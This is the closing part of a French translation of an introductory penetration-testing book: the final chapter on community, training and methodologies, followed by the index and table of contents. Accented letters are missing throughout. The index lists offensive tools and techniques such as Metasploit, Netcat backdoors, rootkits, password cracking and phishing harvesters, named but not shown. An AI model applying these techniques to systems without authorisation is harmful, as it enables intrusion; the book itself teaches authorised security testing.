applications web, la scurit physique, le hacking matriel, le crochetage, etc. Il est toujours possible de rencontrer les confrenciers, qui sont souvent impatients de discuter avec tout le monde et de rpondre aux questions. Il est parfaitement naturel dtre un peu nerveux lorsque lon rencontre une sommit, en particulier si vous faites partie dune communaut en ligne o les dbutants sont dnigrs et les questions, dconseilles. Toutefois, si vous prenez linitiative, vous serez gnralement agrablement surpris par louverture de la communaut DEFCON. DerbyCon est une autre excellente confrence. Elle se tient galement aux tats-Unis, Louisville, Kentucky, en automne. Dave Kennedy, qui a particip cet ouvrage, est lun des cofondateurs de DerbyCon. Elle attire certains des plus grands noms de la scurit et promet une exprience plus "intimiste" (seulement 1 000 1 500 participants). Vous trouverez tous les dtails sur le site http://www.derbycon.com. Si vous ne pouvez pas participer des confrences aussi loignes, recherchez les communauts plus proches de vous. Vous pourrez les trouver en consultant InfraGard, OWASP, les forums Kali Linux et bien dautres ressources. La lecture de ce livre et la participation une communaut sur la scurit sont de bonnes faons dtendre votre horizon et dapprendre des concepts supplmentaires et avancs. Suivre une discussion ou assister une prsentation dclenchera souvent un nouvel intrt pour un sujet prcis. Lorsque les fondamentaux sont acquis, vous pouvez vous intresser un domaine particulier de la scurit. La plupart des personnes apprennent les bases, puis ont tendance se spcialiser. Mais rien ne presse, et vous spcialiser dans un domaine aujourdhui ne vous empche pas de vous intresser demain un autre sujet. Toutefois, les personnes qui interviennent dans ce champ dactivit ont gnralement tendance se focaliser exclusivement sur un ou deux domaines de la scurit, avec des

connaissances trs pousses. La liste suivante nest quun exemple de sujets sur lesquels vous pouvez vous spcialiser. Elle nest pas exhaustive, mais permet de se faire une ide des diffrents domaines qui exigeront un apprentissage supplmentaire : scurit offensive et hacking thique ; scurit des applications web ; scurit des systmes ; rtro-ingnierie ; dveloppement doutils ; analyse des logiciels malveillants ; scurit dfensive ; scurit des logiciels ; analyse forensique numrique ; scurit du sans-fil.

Et ensuite
Au terme de la lecture de cet ouvrage, vous serez probablement impatient den apprendre plus sur un sujet, une tape ou une technique que nous avons prsent. Puisque vous matrisez les fondamentaux, de nouvelles portes vont souvrir. Si vous avez pris la peine dtudier, de pratiquer et de comprendre le contenu de cet ouvrage, vous tes par pour un apprentissage plus avanc. Noubliez pas que lune des principales motivations pour lcriture de cet ouvrage tait non pas de vous transformer en un hacker ou un testeur dintrusion dlite, mais de vous proposer un tremplin vers llargissement de vos connaissances. Grce une matrise totale des bases, vous serez confiant et prt vous lancer dans la dcouverte pousse des sujets abords. Les opportunits daugmenter le niveau de vos connaissances sont nombreuses. Quel que soit le domaine que vous dciderez dtudier par la suite, nous vous encourageons fortement tablir des bases solides en vous intressant la programmation et aux rseaux.

Si vous souhaitez une approche plus pratique, essayez de participer des formations de deux cinq jours sur la scurit. Elles sont souvent onreuses et intensives, mais le cot dinscription est en gnral justifi. La confrence Black Hat propose habituellement des cours hautement spcialiss et focaliss, dispenss par des sommits dans le domaine. Lors de tels vnements, vous pourrez choisir parmi des dizaines de sujets et de spcialisations sur la scurit. Les thmes prcis changent chaque anne, mais vous en trouverez la liste sur le site de Black Hat ladresse http://www.blackhat.com. Les personnes responsables de la cration et de la distribution de Kali Linux proposent galement des formations intensives. Elles vous mettront au dfi et vous pousseront travailler sur des scnarios ralistes. Prenez le temps dexaminer les diffrentes mthodologies des tests de scurit, notamment OSSTMM ( Open Source Security Testing Methodology Manual) et PTES ( Penetration Testing Execution Standard). Le prsent ouvrage sest focalis sur les outils et les mthodes employs lors des tests dintrusion. La mthodologie PTES, qui reste ma prfre, fournit aux professionnels de la scurit un framework parfaitement dfini et mr, qui peut tre associ aux diffrents sujets dcrits dans cet ouvrage. Japprcie PTES car elle est due des professionnels en activit, fournit des dtails techniques et est trs rigoureuse. Vous trouverez tous les dtails ladresse http://www.pentest-standard.org. Le site http://www.vulnerabilityassessment.co.uk propose une autre mthodologie de test dintrusion intressante. PTF ( Penetration Testing Framework ) constitue une excellente ressource pour les testeurs dintrusion et les quipes de vrification de la scurit. Vous y trouverez des modles de vrification ainsi quune liste doutils employer pour complter chaque phase.

Conclusion

Si vous avez lu cet ouvrage du dbut la fin, arrtez-vous un instant et rflchissez tout ce que vous avez appris. ce stade, vous devez possder une solide comprhension des diffrentes phases dun test dintrusion type et des outils ncessaires les mener bien. Plus important encore, vous devez comprendre le droulement dun test dintrusion et comment exploiter les informations obtenues par chaque phase dans la suivante. De nombreuses personnes sont avides dapprendre sur le hacking et les tests dintrusion, mais la plupart des novices ne savent employer quun seul outil et ne mener bien quune seule phase. Ils refusent davoir une vue densemble et se sentent frustrs lorsque leurs outils ne fonctionnent pas ou ne fournissent pas les rsultats attendus. Ces personnes ne comprennent pas comment se passe lensemble de la procdure ni comment exploiter lintrt de chaque phase pour renforcer les suivantes. Ceux qui auront lu attentivement cet ouvrage, essay chaque exemple et travaill suffisamment profiteront des enseignements donns et auront la capacit de prendre du recul et de voir limportance de chaque phase. Vous devez galement tre prsent en mesure de rpondre la question pose lors du scnario donn au dbut du Chapitre 2. Supposons que vous soyez un testeur dintrusion thique qui travaille pour une socit de scurit. Votre chef vient vous voir dans votre bureau et vous tend une feuille de papier : "Je viens davoir le PDG de cette entreprise au tlphone. Il veut que mon meilleur testeur dintrusion, cest--dire vous, intervienne sur sa socit. Notre service juridique va vous envoyer un courrier lectronique pour confirmer que nous avons toutes les autorisations et les garanties appropries." Vous hochez la tte pour accepter ce travail. Il sort de votre bureau. Vous jetez un il la feuille de papier, sur laquelle un seul mot est crit : Syngress. Vous navez jamais entendu parler de cette socit et le document ne donne aucune autre information. Que faire ?

Le cercle de la vie
Tout lintrt des tests dintrusion et du hacking est que vous tes certain de ne jamais en voir le bout. Alors que vous commencez juste matriser un sujet ou une technique, quelquun dveloppe une nouvelle mthode, attaque ou procdure. Cela ne signifie pas que vos connaissances sont obsoltes. Bien au contraire, de solides fondations vous permettent de vous former des sujets plus avancs et de rester en phase avec des volutions si rapides. Japprcie toujours les contacts avec mes lecteurs. Nhsitez pas menvoyer un courrier lectronique ou me contacter sur Twitter : @pengebretson? Patrick

En rsum
Ce chapitre sest focalis sur limportance de la rdaction dun rapport de test dintrusion et a dtaill les informations inclure et les piges que les hackers novices dans cette tche doivent viter. Nous avons soulign limportance de prsenter un rapport de qualit aux clients. Le chapitre a conclu en proposant quelques pistes pour que vous tendiez vos connaissances en hacking, une fois les bases matrises. Il a notamment conseill de participer activement aux communauts qui tournent autour de la scurit.

2. N.d.T : en argot amricain, "Peter Weiner" est lun des nombreux termes donns au pnis.

Index
A
Accs, maintenir 1 Advanced Package Tool (APT) 1 Applet Java, attaque 1 Arduino, vecteurs dattaque 1 Armitage, outil 1 commande 1 cran initial 1 principal 1 exception de connexion 1 Hail Mary, fonction 1 lancer 1 utilisation 1 Attaques applet Java 1 automatises 1

B
Back Orifice, outil 1 BackTrack Linux 1 avantages 1 communaut autour de la scurit 1 dmarrage menu de GRUB 1

options 1 gravure 1 machine dattaque 1 mode graphique sr 1 Paros, outil 1 VMware image 1 Player 1 rle 1 Base 64, encodage 1 bdcli100.exe, logiciel client 1 Black Hat, confrence 1 Bote blanche, test dintrusion 1 noire, test dintrusion 1 Burp Suite, outil 1

C
Canal chiffr 1 Carte dinterface rseau (NIC) 1 Confrences DEFCON 1 DerbyCon 1 Cross-Site Scripting (XSS) 1, 2 assaillant comptent 1 code de test 1 mthode dattaque 1 nom dutilisateur et mot de passe 1 rflchi 1 stock 1 testeur dintrusion 1 Cryptcat, outil 1 canal chiffr 1

-k, option 1 twofish, chiffrement 1

D
Dakota State University (DSU) 1 Damn Vulnerable Web App (DVWA) 1 DEFCON, confrence 1 De-ICE Linux, CD 1 DerbyCon, confrence 1 Dig, outil 1 Domain Name System (DNS) 1, 2 interrogation 1 serveurs 1 Dsniff, outils 1

E
Exchange, serveur 1 Exploitation 1 attaques automatises 1 concept 1 dbordement de tampons 1, 2 mise en pratique 1 mots de passe dictionnaire personnel 1 hacking distance 1 hacking local 1 Linux et OS X, craquer 1 rinitialiser 1 outils Armitage 1 ettercap 1

John the Ripper 1 macof 1 Medusa 1 Metasploit 1 RainbowCrack 1 ouverture de session par force brute 1 phase 1 ports multiples 1 trafic rseau, couter (Wireshark) 1

F
Fierce, outil 1 dans Kali 1 rpertoire 1 File Transfer Protocol (FTP) 1, 2, 3 FOCA, outil 1 Force brute, programme pour 1

G
Google Dorks 1 oprateurs 1 allintitle 1 commande 1 contenu dynamique 1 discussions en ligne 1 exemples 1 filetype 1 forums publics 1 GHDB 1 intitle 1

inurl 1 puissance 1 rpertoire, parcourir 1 technicien, exemple 1 utilisation 1

H
Hacker Defender, rootkit 1 fichier de configuration 1 Hidden Processes, section 1 Hidden RegKeys, section 1 Hidden Services, section 1 hsdef100.zip, fichier 1 ports 1 Root Processes, section 1 Startup Run, section 1 Hail Mary, fonction dArmitage 1, 2 host, commande 1 documentation 1 sortie 1 HTTrack, outil 1 hxdef 100.ini, fichier de configuration 1 Hypertext Markup Language (HTML) 1 Hypertext Transfer Protocol (HTTP) 1

I
Informations extraire dig, outil 1 Fierce, outil 1 MetaGooFil, outil 1

nslookup, commande 1 processus de partage 1 serveur DNS 1 serveurs de messagerie 1 transfert de zone 1 Ingnierie sociale 1 concept 1 exemple 1 menus 1 moissonneur dinformations de connexion 1 sites web, vecteurs dattaque 1 Injection de code, attaques applications web 1 authentification ct client, contourner 1 commandes inattendues 1 framework gnrique 1 langage interprt 1 or, oprateur 1 SQL 1 Interface utilisateur graphique 1, 2 Internet Control Message Protocol (ICMP) 1 Internet Protocol (IP) 1, 2, 3

J
John the Ripper (JtR), outil 1 algorithmes de hachage 1 attaque distante 1 locale 1 exercices de la Red Team 1 groupes user ou guest 1 performances 1 processus en quatre tapes 1

rpertoire 1 version chiffre 1

K
Kali Linux 1 avantages 1 communaut autour de la scurit 1 gravure 1 machine dattaque 1 menu de dmarrage de GRUB 1 VMware Player 1 rle 1

L
Lan Manager (LM) 1, 2 Linux mot de passe, craquer niveau de privilges 1 SHA 1 shadow, fichier 1 system, fichier 1 utilisateurs privilgis 1

M
Machine dattaque adresse IP 1 carte rseau, activer 1

dhclient, commande 1 DHCP, utiliser 1 distributions Linux 1 fentre de terminal, ouvrir 1 ifconfig, commande 1 lo, interface 1 mise en place, tapes 1 pour Kali ou Backtrack 1 serveur DNS 1 Machine virtuelle (VM) 1, 2, 3 Macof, outil 1 adresse MAC 1 commutateurs mode failclosed 1 mode failopen 1 dsniff 1 routage discret, proprit 1 trafic rseau 1 Wireshark, outil 1 Maltego, outil 1 Media Access Control (MAC) 1 Medusa, outil 1 commande 1 force brute approche 1 ouverture de session 1 liste de mots 1 de noms dutilisateurs 1 mots de passe craqueurs en ligne 1 dictionnaire 1 SSH 1 systmes distants, accder 1 utilisations 1

MetaGooFil, outil 1 assaillant 1 mtadonnes 1 rpertoire 1 script Python 1 sortie 1 Metasploit, outil 1 bind, charge 1 charges 1, 2, 3 inverses 1 cible Windows, exploiter 1 classement, mthodologie 1 dbordement de tampons et exploitation 1 documentation, consulter 1 cran initial 1 excution de code distance 1 exploitation, niveaux de classement 1 exploits et charges, envoyer la cible 1 fiche rcapitulative 1 framework 1, 2 dexploitation 1 hashdump, commande 1 Metasploit Express, version 1 Metasploit Pro, version 1 Meterpreter, shell 1 migrate, commande 1 msfconsole 1 Nessus 1 Nmap 1 non graphique 1 scanner de vulnrabilit 1, 2 search, commande 1 set, commande 1 set payload, commande 1 show options, utiliser 1

sortie, analyser 1 use, commande 1 VNC, logiciel 1 vulnrabilits critiques ou leves 1 Meterpreter, shell 1, 2, 3 avantages 1 commandes intgres 1 fonctions 1 postexploitation, activits 1 mkdir, commande 1 Moissonneur dinformations de connexion partir dun site web 1 enqute de satisfaction des employs 1 faux site web Gmail 1 HTTPS 1 informations didentification captures 1 web, vecteurs dattaque 1 Moteur de recherche, oprateurs 1 Mots de passe craquer distance 1 craquer en ligne 1 craquer en local 1, 2 combinaisons de lettres 1 disque local, monter 1 format, commande 1 LM (Lan Manager) 1 Meterpreter, outil 1 mkdir, commande 1 mot de passe trs secret 1 mots de passe Windows 1 mount, commande 1 NTLM 1 rsultats 1 samdump2, outil 1 SAM, fichier 1

version chiffre, extraire et consulter 1 VNC, charge 1 rinitialiser 1 MultiPyInjector, vecteurs dattaque 1

N
Ncat, outil 1 Netbus, outil 1 Netcat, outil 1 cible Windows 1 communication 1 connexion un service 1 entre du clavier 1 -e, option 1, 2 fentre de terminal 1 fichiers, transfrer 1 ls, commande 1 machine cible 1 Meterpreter, shell 1 mise en pratique 1, 2 mode client ou serveur 1 mode coute 1 nc.exe, programme 1 pages de manuel 1 paquets UDP 1 portes drobes 1 Registre de Windows 1 rootkits 1 serveur web 1 version Linux 1 virus.exe 1 Netcraft, outil 1 informations, collecter 1

option de recherche 1 rapport pour syngress.com 1 Network Interface Card (NIC) 1 Nikto, outil ligne de commande 1 ports multiples 1 numros 1 scanner de vulnrabilit web 1 serveur web 1 Nmap, outil scans de ports 1 NULL 1 SYN 1 TCP Connect 1 UDP 1 Xmas 1 Nmap Scripting Engine (NSE) 1, 2 banner, script 1 catgories de scripts 1 communaut 1 invoquer 1 vuln catgorie 1 rsultats du script 1 Non-promiscuit, mode 1 NSLookup, outil 1 combin host 1 interrogation DNS 1 mode interactif 1 phase de reconnaissance 1

Open-Source Intelligence (OSINT) 1 OpenVAS, outil 1

P
Penetration Testing Execution Standard (PTES) 1 Penetration Testing Framework (PTF) 1 Ping 1 adresse IP cible 1 balayages 1 cat, commande 1 FPing, outil 1 options 1 paquets ping, bloquer 1 commande 1, 2 paquet de requte ICMP Echo 1 Porte drobe 1, 2, 3 PowerShell, technique dinjection 1, 2 Promiscuit, mode 1 Proxy, configuration manuelle 1 PyInjector, vecteurs dattaque 1 Python, script 1, 2

Q
QRCode 1

R
RainbowCrack, outil 1 Rapport de test dintrusion

fautes dorthographe et de grammaire 1 professionnel 1 rdiger 1 synthse 1 Reconnaissance 1, 2, 3 active 1 cibles attaquables, rechercher 1 informations extraire des serveurs de messagerie 1 extraire des serveurs DNS 1 publiques, rechercher 1 ingnierie sociale 1 mise en pratique 1 numrique 1 oprateurs Google 1 outils automatiques 1 dig 1 Fierce 1 host 1 HTTrack 1 MetaGooFil 1 Netcraft 1 NSLookup 1 The Harvester 1 ThreatAgent Drone 1 Whois 1 passive 1 Syngress 1, 2 Rpertoires, parcourir 1 Request for Comments (RFC) 1 Rseau, couter 1, 2 mode de non-promiscuit 1 mode promiscuit 1 Robot dindexation

certificats 1 Iceweasel, navigateur web 1 interface, mode complet 1 panneaux 1 paramtres de connexion 1 proxy 1 site web cible 1, 2 WebScarab, outil 1 Rootkits 1 antivirus 1 dtection et dfense 1 fichiers, cacher 1 paquetages logiciels 1 portes drobes, accs discret 1 su ou Excuterentantque, commandes 1 trafic 1

S
Scan analogie 1 balayages ping 1 cible finale 1 concept 1 connexion en trois tapes 1 de ports 1, 2, 3 interface graphique 1 IP cible 1 liste des ports ouverts 1 Nmap, outil 1 option de temporisation 1 options 1 scan de versions 1 systme cible, obtenir un accs 1

systme dexploitation, empreinte 1 version en ligne de commande 1 de vulnrabilits 1, 2, 3, 4 cibles 1 lien des rsultats 1 Nessus, outil 1, 2, 3 plugin 1 politiques 1 vrifications prudentes, option 1 mthode 1 mise en pratique 1 Nmap, outil 1 NULL 1 SYN 1 TCP Connect 1 UDP 1 Xmas 1 NSE, outil 1 numros de port et services 1 priphriques de primtre 1 pings 1 SearchDiggity, outil 1 Secure Hash Algorithm (SHA) 1 Secure Shell (SSH) 1 Scurit offensive 1 Security Account Manager (SAM) 1 Serveurs de messagerie 1 cibler 1 message refus 1 Exchange 1 Sites web, vecteurs dattaque adresse IP 1, 2 antivirus 1 applets Java 1, 2

charge, choisir 1 Metasploit, outil 1 Meterpreter, shell 1 PowerShell, technique dinjection 1 SET, outil 1 TrustedSec 1 Socat, outil 1 Social-Engineer Toolkit (SET) 1, 2 exploits universels 1 hameonnage 1 interface 1 structure des dossiers 1 systme base de menus 1 Windows XP SP3 1 Sortie brute 1 des outils 1 document chiffrer 1 lectronique 1 rapport de test dintrusion fautes dorthographe et de grammaire 1 professionnel 1 Structured Query Language (SQL) 1 injection 1 instructions 1 SubSeven (Sub7), outil 1 Syngress 1 Synthse 1 Systme distant, maintenir laccs 1 Cryptcat, outil 1 Hacker Defender, rootkit 1 Meterpreter, shell 1 Netcat, outil 1 portes drobes 1 rootkits 1

T
Tampons, dbordement 1 Test dintrusion 1, 2 attaque raliste, simuler 1 bons contre mchants 1 communaut autour de la scurit 1 concept 1 distributions, audit de la scurit 1 en bote blanche 1 noire 1 valuation de la vulnrabilit 1 exception la rgle 1 hacker thique contre hacker malveillant 1 Kali Linux, BackTrack Linux et autres 1 laboratoire de hacking 1, 2 mthode ZEH (Zero Entry Hacking) 1, 2 mise en pratique 1 phases 1 postexploitation et maintien daccs 1 pivoter 1 rapport 1 captures dcran 1 dtaill 1 donnes brutes 1 failles 1 final 1, 2 phase de reconnaissance 1 remdes 1 restrictions lgales et thiques 1 routeur de primtre 1 solutions 1 sortie brute des outils 1 vulnrabilits 1

salons de discussion 1 sortie brute 1 synthse 1 triangle invers, modle 1 The Harvester, outil 1 accder rapidement 1 commandes 1 dossier 1 excuter 1 informations, manipuler 1 sortie 1 sous-domaines 1 ThreatAgent Drone, outil 1 option de reconnaissance 1 recherche, lancer 1 rsultats 1 vecteur dattaque, identification 1 Transfert de zones 1, 2 Transmission Control Protocol (TCP) 1, 2 TrueCrypt, outil 1 TrustedSec 1 Twofish, chiffrement 1

U
Ubuntu 7.04 1 Uniform Resource Locator (URL) 1, 2, 3 User Datagram Protocol (UDP) 1, 2

V
Virtual Network Computing (VNC) 1, 2 charge 1

Virtual Private Network (VPN) 1 VMware, image 1

W
Web Application Audit and Attack Framework (w3af) 1 menu de Kali 1 plugins 1 scans 1, 2 volet des shells 1 Web, exploitation 1 bases 1 concept 1 cross-site scripting (XSS) 1 injection de code, attaques 1 logiciel, architecture 1 mise en pratique 1 Nikto, outil 1 robot dindexation 1 services en nuage 1 w3af, outil 1 WebScarab, outil 1 ZAP, outil 1 WebGoat, outil 1 WebScarab, outil 1 Base64 1 champs masqus 1 interceptions, annuler 1 requtes et rponses HTTP 1 serveur proxy 1 Windows XP 1 Wireshark, outil 1 adresse MAC 1 capture, stopper 1

cible Linux 1 commande 1, 2 concentrateur 1 interface de capture 1 numrer 1 mode non-promiscuit 1 promiscuit 1 trafic rseau, couter 1, 2

Z
Zed Attack Proxy (ZAP) 1 Iceweasel, configuration dun proxy 1 interception 1 menu de Kali 1 points darrt 1 robot dindexation 1 scan 1 variables dentre 1

Couverture Avertissement Remerciements Ma femme Mes filles Ma famille Dave Kennedy Jared DeMott lquipe de Syngress propos de lauteur Introduction Nouveauts de la 2e dition Public du livre Singularit du livre Raisons du choix de ce livre Suivre les exemples 1. Tests dintrusion Introduction Prparer le terrain Introduction Kali et BackTrack Linux Machine dattaque Mettre en place un laboratoire de hacking Phases dun test dintrusion Et ensuite En rsum 2. Reconnaissance Introduction HTTrack Oprateurs Google The Harvester Whois Netcraft Host Extraire des informations du DNS NSLookup

Dig Fierce Extraire des informations des serveurs de messagerie MetaGooFil ThreatAgent Ingnierie sociale Passer les informations au crible Mettre en pratique cette phase Et ensuite En rsum 3. Scans Introduction Ping et balayage ping Scan des ports Connexion en trois tapes Scans TCP Connect avec Nmap Scans SYN avec Nmap Scans UDP avec Nmap Scans Xmas avec Nmap Scans Null avec Nmap Le moteur de script de Nmap Conclusion Scan de vulnrabilits Mettre en pratique cette phase Et ensuite En rsum 4. Exploitation Introduction Medusa Metasploit John the Ripper Craquage local des mots de passe Craquage distance des mots de passe

Craquage des mots de passe Linux et lvation des privilges Rinitialisation des mots de passe Wireshark Macof Armitage Pourquoi apprendre cinq outils alors quun seul suffit ? Mettre en pratique cette phase Et ensuite En rsum 5. Ingnierie sociale Introduction Les bases de SET Sites web en tant que vecteurs dattaque Le moissonneur dinformations de connexion Autres options de SET En rsum 6. Exploitation web Introduction Les bases du hacking web Nikto w3af Indexation web Intercepter des requtes avec WebScarab Attaques par injection de code Cross-site scripting Zed Attack Proxy Interception dans ZAP Indexation dans ZAP Scan dans ZAP Mettre en pratique cette phase Et ensuite Ressources supplmentaires En rsum

7. Postexploitation et maintien daccs Introduction Netcat Cryptcat Rootkits Hacker Defender Dtecter les rootkits et sen dfendre Meterpreter Mettre en pratique cette phase Et ensuite En rsum 8. Conclusion dun test dintrusion Introduction Rdiger le rapport de test dintrusion Synthse Rapport dtaill Sorties brutes Participer Et ensuite Conclusion Le cercle de la vie En rsum Index